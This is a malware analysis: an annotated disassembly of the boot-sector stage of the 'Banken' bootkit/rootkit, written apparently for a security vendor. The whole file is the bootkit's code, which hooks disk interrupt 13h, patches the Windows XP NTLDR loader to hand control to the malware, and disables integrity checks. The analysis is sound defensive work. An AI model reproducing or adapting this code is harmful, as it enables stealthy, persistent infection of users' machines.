;  
;  called "Banken Rootkit" or referred as "Banken Trojaner"
;  
;  reverse engineering by Peter Kleissner
;  
;  for Ikarus Security Software

;  www.viennacomputerproducts.com/reverseengineering


00000000  FA                cli
00000001  33DB              xor bx,bx
00000003  8ED3              mov ss,bx
00000005  368926FE7B        mov [ss:0x7bfe],sp
0000000A  BCFE7B            mov sp,0x7bfe               ; set new stack pointer
0000000D  1E                push ds
0000000E  6660              pushad
00000010  FC                cld

; copy itself to end of memory
00000011  8EDB              mov ds,bx
00000013  BE1304            mov si,0x413                ; address of MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
00000016  832C02            sub word [si],byte +0x2     ; -  2048 kbytes, 4 sectors
00000019  AD                lodsw
0000001A  C1E006            shl ax,6
0000001D  8EC0              mov es,ax                   ; es = address of free memory (2048 bytes)
0000001F  BE007C            mov si,7C00h
00000022  33FF              xor di,di
00000024  B90001            mov cx,256                  ; copy 512 bytes
00000027  F3A5              rep movsw

; read boot virus data!
00000029  B80202            mov ax,0x202                ; function read sectors, read 2 sectors
0000002C  B13D              mov cl,0x3d                 ; sector 60, 2 data stuff sectors
0000002E  BA8000            mov dx,80h                  ; boot drive
00000031  8BDF              mov bx,di                   ;  = pointer after the 512 copied bytes
00000033  CD13              int 13h

; hook int 13h
00000035  33DB              xor bx,bx
00000037  90                nop
00000038  90                nop
00000039  90                nop
0000003A  668B474C          mov eax,[bx+0x4c]           ; IVT, Vector 13
0000003E  C7474C6900        mov word [bx+0x4c],0x69     ;    at address 0x69, 105
00000043  6626A37600        mov [es:0x76],eax           ; patch old IVT vector directly into jmp of our IVT hook (save old vector)
00000048  8C474E            mov [bx+0x4e],es            ; set int 13 segment
0000004B  06                push es
0000004C  685000            push word offset Copy
0000004F  CB                retf                        ; jump to copy!

Copy:
; read original master boot record of Windows and execute it
00000050  FB                sti
00000051  8EC3              mov es,bx                   ; segment 0
00000053  B80102            mov ax,0x201                ; function read sectors, read 1 sector
00000056  B93F00            mov cx,0x3f                 ; read original boot code (sector 62), boot sector
00000059  BA8000            mov dx,80h                  ; boot drive
0000005C  B77C              mov bh,0x7c                 ; address 7C00h
0000005E  CD13              int 0x13
00000060  6661              popad
00000062  1F                pop ds
00000063  5C                pop sp
00000064  EA007C0000        jmp word 0x0:0x7c00         ; execute original code



; now our background "service" starts, we get control only by int 13
; this (executed) binary is located at memory.9f400h, disk.sector0

Interrupt_Vector_13_hook:
00000069  9C                pushfw                      ; Interrupt Vector 13 hook
0000006A  80FC42            cmp ah,0x42
0000006D  740B              jz Handle_Int13             ; lets hook extended read...
0000006F  80FC02            cmp ah,0x2
00000072  7406              jz Handle_Int13             ; ...or read!
00000074  9D                popfw
00000075  EA00000000        jmp word 0x0:0x0            ; jump to original IVT

Handle_Int13:
; execute int 13h read
0000007A  2E88269300        mov [cs:0x93],ah            ; store function number (patch)
0000007F  9D                popfw
00000080  9C                pushfw                      ; simulate "int 13h" instruction (store flags)
00000081  2EFF1E7600        call word far [cs:0x76]     ; READ sector (forward) but return here
00000086  0F829E00          jc word Exit_Int13_hook_ret ; if error => exit to user

; set environment for int 13h hook handler
0000008A  9C                pushfw
0000008B  FA                cli
0000008C  06                push es
0000008D  6660              pushad                      ; push register contents, we modify it in our hook handler
0000008F  FC                cld

; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)
00000090  B400              mov ah,0x0                  ; transfered sectors (read: al, extended read: disk address packet.02h)
00000092  B500              mov ch,0x0                  ; restore function number (from the patch applied at @7A)
00000094  80FD42            cmp ch,0x42                 ; if extended read special load values
00000097  7504              jnz Int_Params_normalized
Extended_Read_set_Disk_Address_Packet:
00000099  AD                lodsw                       ; load values from disk address packet
0000009A  AD                lodsw                       ;   +02h = [word] number of blocks to transfer
0000009B  C41C              les bx,[si]                 ;   +04h = transfer buffer
Int_Params_normalized:
0000009D  85C0              test ax,ax                  ; ax = number of sectors transfered
0000009F  7501              jnz Int_Params_SectorCount_set
000000A1  40                inc ax                      ; sector count = minimum 1
Int_Params_SectorCount_set:


; now scan the read buffer for the signature of ntldr
;    ++   8B F0 85 F6 74 21/22 80 3D
;         ===>   Windows XP.NTLDR +26B9Fh
000000A2  8BC8              mov cx,ax
000000A4  C1E109            shl cx,0x9                  ; sectors * 512
000000A7  B08B              mov al,0x8b                 ;   scan byte
000000A9  8BFB              mov di,bx                   ; data buffer offset of sector
000000AB  60                pushaw
Scan_Read_Sector_loop:
000000AC  F2AE              repne scasb                 ; scan Bootloader for 8Bh
000000AE  7548              jnz NTLDR_delete_routine    ;   if not found ecx=0 => exit
000000B0  90                nop
000000B1  6626813DF085F674  cmp dword [es:di],0x74f685f0  ; check around signatures
000000B9  75F1              jnz Scan_Read_Sector_loop   ; if not matching => next try
000000BB  26817D05803D      cmp word [es:di+0x5],0x3d80
000000C1  75E9              jnz Scan_Read_Sector_loop   ; if not matching => next try
000000C3  268A4504          mov al,[es:di+0x4]
000000C7  3C21              cmp al,0x21
000000C9  7404              jz Found_File_to_Infect
000000CB  3C22              cmp al,0x22
000000CD  75DD              jnz Scan_Read_Sector_loop

Found_File_to_Infect:
000000CF  BE0B02            mov si,0x20b
000000D2  2E803C00          cmp byte [cs:si],0x0        ; in virus data (2 sectors)
000000D6  7520              jnz NTLDR_delete_routine    ; if already infected => exit
000000D8  2E8804            mov [cs:si],al              ;    mark as infected and set in missing code byte

; INFECT OUR TARGET FILE (NT LOADER)
000000DB  26C745FFFF15      mov word [es:di-0x1],0x15ff ; ntldr (the code which jumps to the pointer)
000000E1  668CC8            mov eax,cs
000000E4  66C1E004          shl eax,0x4
000000E8  050002            add ax,0x200
000000EB  662EA3FC01        mov [cs:0x1fc],eax          ; set the pointer (this resides in ourself)
000000F0  2D0400            sub ax,0x4
000000F3  6626894501        mov [es:di+0x1],eax         ; ntldr (the code which jumps to the pointer)

;   0x9F4DB  INFECTION    written to 46B9F      on disk @ntldr.26B9Fh       FF 15, opcode.call dword
;   0x9F4EB  INFECTION    written to 9F5FC      on disk sector 0 at end     pointer to PM code (* = memory.9F600h, disk.sector60)
;   0x9F4F3  INFECTION    written to 46BA1      on disk @ntldr.26BA1h       pointer to the pointer

  ; infected code in ntldr is now:      @ntldr.26B9Fh
  00046b9f: (  32 Bit Code   w   ): call dword ptr ds:0x9f5fc       ; ff15fcf50900
  00046ba5: (  32 Bit Code   inv ): cmp byte ptr ds:0x43aef8, 0x00  ; 803df8ae430000
  00046bac: (  32 Bit Code   inv ): jz .+0x00000007                 ; 7407
  00046bae: (  32 Bit Code   inv ): xor esi, esi                    ; 33f6
  00046bb0: (  32 Bit Code   inv ): jmp .+0x00000255                ; e955020000
  
  ; and was original:                   @ntldr.26B9Fh
  00046b9f: (  32 Bit Code       ): mov esi, eax              ; 8bf0
  00046ba1: (  32 Bit Code       ): test esi, esi             ; 85f6
  00046ba3: (  32 Bit Code       ): jz .+0x00000021           ; 7421
  00046ba5: (  32 Bit Code       ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
  00046bac: (  32 Bit Code       ): jz .+0x00000007           ; 7407

  ; the infected code in the ntldr will be relocated to protected mode memory 0x00422a6f
  ; it will jump to 9F600h which is stage 2 (executed by ntldr)
  00422a6f: (                    ): call dword ptr ds:0x9f5fc ; ff15fcf50900


; scan the read buffer for a part of the ntldr
;    ++   83  C4 02 E9 00 00 E9 FD FF
;         ===>   Windows XP.NTLDR +1C81h
;         ===>   Windows XP.NTLDR +1C9Ch    this is the real searched one
NTLDR_delete_routine:
000000F8  61                popaw
000000F9  B083              mov al,0x83
; *** PROGRAMMING ERROR ***
; *** EDI AND ECX ARE NOT RESETTED HERE, IF MICROSOFT WOULD READ NTLDR AT ONCE THIS WOULD FAIL ***

Scan_Sector_loop_2:
000000FB  F2AE              repne scasb
000000FD  7525              jnz Restore_Flags_and_exit        ; if not found exit
000000FF  6626813DC402E900  cmp dword [es:di],0xe902c4
00000107  75F2              jnz Scan_Sector_loop_2
00000109  6626817D0400E9FD  cmp dword [es:di+0x4],0xfffde900
         -FF
00000112  75E7              jnz Scan_Sector_loop_2
00000114  6626C745FC909090  mov dword [es:di-0x4],0x83909090  ; set 3 bytes to instruction nop
         -83
0000011D  2683650600        and word [es:di+0x6],byte +0x0    ; modify jump operation, set highest byte to zero
00000122  EBD7              jmp short Scan_Sector_loop_2      ; our signature occurs 2 times

; 1. @ntldr.1C81h

  ; memory dump, @ntldr.1C81h, memory.21c81
  0x0000000000021c7e <bogus+       0>:    0xe8    0x39    0x0c    0x83    0xc4    0x02    0xe9    0x00
  0x0000000000021c86 <bogus+       8>:    0x00    0xe9    0xfd    0xff
  
  ; memory disassembly, @ntldr.1C81h, memory.21c81
  00021c7d: (  32 Bit Code   inv ): sbb eax, ebp                      ; 19e8        INVALID
  00021c7f: (  32 Bit Code       ): cmp dword ptr ds:[ebx+eax*4], ecx ; 390c83
  00021c82: (  32 Bit Code       ): les eax, ds:[edx]                 ; c402
  00021c84: (  32 Bit Code       ): jmp .+0xfde90000                  ; e90000e9fd

  ; modified memory dump
  0x0000000000021c7e <bogus+       0>:    0x90    0x90    0x90    0x83    0xc4    0x02    0xe9    0x00
  0x0000000000021c86 <bogus+       8>:    0x00    0xe9    0x00    0x00
  
  ; modified disassembly
  00021c7e: (                    ): nop                       ; 90
  00021c7f: (                    ): nop                       ; 90
  00021c80: (                    ): nop                       ; 90
  00021c81: (                    ): add esp, 0x00000002       ; 83c402
  00021c84: (                    ): jmp .+0x00e90000          ; e90000e900

; 2. @ntldr.1C9Ch

  ; memory dump, @ntldr.1C9Ch, memory.21c9c
  0x0000000000021c99 <bogus+       0>:    0xe8    0x1e    0x0c    0x83    0xc4    0x02    0xe9    0x00
  0x0000000000021ca1 <bogus+       8>:    0x00    0xe9    0xfd    0xff
  
  ; memory disassembly, @ntldr.1C9Ch, memory.21c9c
  00021c98: (  32 Bit Code   inv ): sbb eax, ebp              ; 19e8        INVALID
  00021c9a: (  32 Bit Code       ): push ds                   ; 1e
  00021c9b: (  32 Bit Code       ): or al, 0x83               ; 0c83
  00021c9d: (  32 Bit Code       ): les eax, ds:[edx]         ; c402
  00021c9f: (  32 Bit Code       ): jmp .+0xfde90000          ; e90000e9fd

  ; modified memory dump
  0x0000000000021c99 <bogus+       0>:    0x90    0x90    0x90    0x83    0xc4    0x02    0xe9    0x00
  0x0000000000021ca1 <bogus+       8>:    0x00    0xe9    0x00    0x00
  
  ; modified disassembly
  00021c99: (  32 Bit Code       ): nop                       ; 90
  00021c9a: (  32 Bit Code       ): nop                       ; 90
  00021c9b: (  32 Bit Code       ): nop                       ; 90
  00021c9c: (  32 Bit Code       ): add esp, 0x00000002       ; 83c402
  00021c9f: (  32 Bit Code       ): jmp .+0x00e90000          ; e90000e900

; the modification is done to bypass code integrity verification (even it's not evident from the patched lines)


Restore_Flags_and_exit:                                       ; everything done, exit interrupt 13h hook
00000124  6661              popad
00000126  07                pop es
00000127  9D                popfw

Exit_Int13_hook_ret:
00000128  CA0200            retf 2                            ; simulate "iretw" instruction, to preserve flags (especially flags.CF)




; language descriptions [unset]
times 1B5h-($-$$) db 0

; Microsoft Error linguistic message! (or as it is supposed to)

Error_Message_1_length  db  02Ch    ; bad bad virus writer...
Error_Message_2_length  db  048h    ; forgot to set error messages...
Error_Message_3_length  db  06Eh    ; there you see who's a real os developer (and who's not)


; Microsoft Disk Signature

times 440-($-$$) db 0

disk_signature    dd  665E665Eh ; or some value
                  dw  0


; Partition Table, 16 bytes each entry

times 1BEh-($-$$) db 0

Partition_Table_Entry_1:
    Partition_1_bootable  db  80h                 ; default boot partition (MS Windows)
    Partition_1_Start_CHS db  01, 01, 00
    Partition_1_Type      db  7                   ; NTFS file system
    Partition_1_End_CHS   db  0FEh, 0BFh, 08h
    Partition_1_Start_LBA dd  63                  ; NTFS file system starts, boot sector
    Partition_1_Sectors   dd  8AB67Fh             ; = 4 GB  (9090687 * 512 / 1024 / 1024 / 1024)
Partition_Table_Entry_2:
    Partition_2_bootable  db  0
    Partition_2_Start_CHS db  0, 0, 0
    Partition_2_Type      db  0
    Partition_2_End_CHS   db  0, 0, 0
    Partition_2_Start_LBA dd  0
    Partition_2_Sectors   dd  0
Partition_Table_Entry_3:
    Partition_3_bootable  db  0
    Partition_3_Start_CHS db  0, 0, 0
    Partition_3_Type      db  0
    Partition_3_End_CHS   db  0, 0, 0
    Partition_3_Start_LBA dd  0
    Partition_3_Sectors   dd  0
Partition_Table_Entry_4:
    Partition_4_bootable  db  0
    Partition_4_Start_CHS db  0, 0, 0
    Partition_4_Type      db  0
    Partition_4_End_CHS   db  0, 0, 0
    Partition_4_Start_LBA dd  0
    Partition_4_Sectors   dd  0


; here -2 values from the boot signature we will store a pointer


times 510-($-$$) db 0

000001FE  55AA              Boot_Signature dw 0AA55h
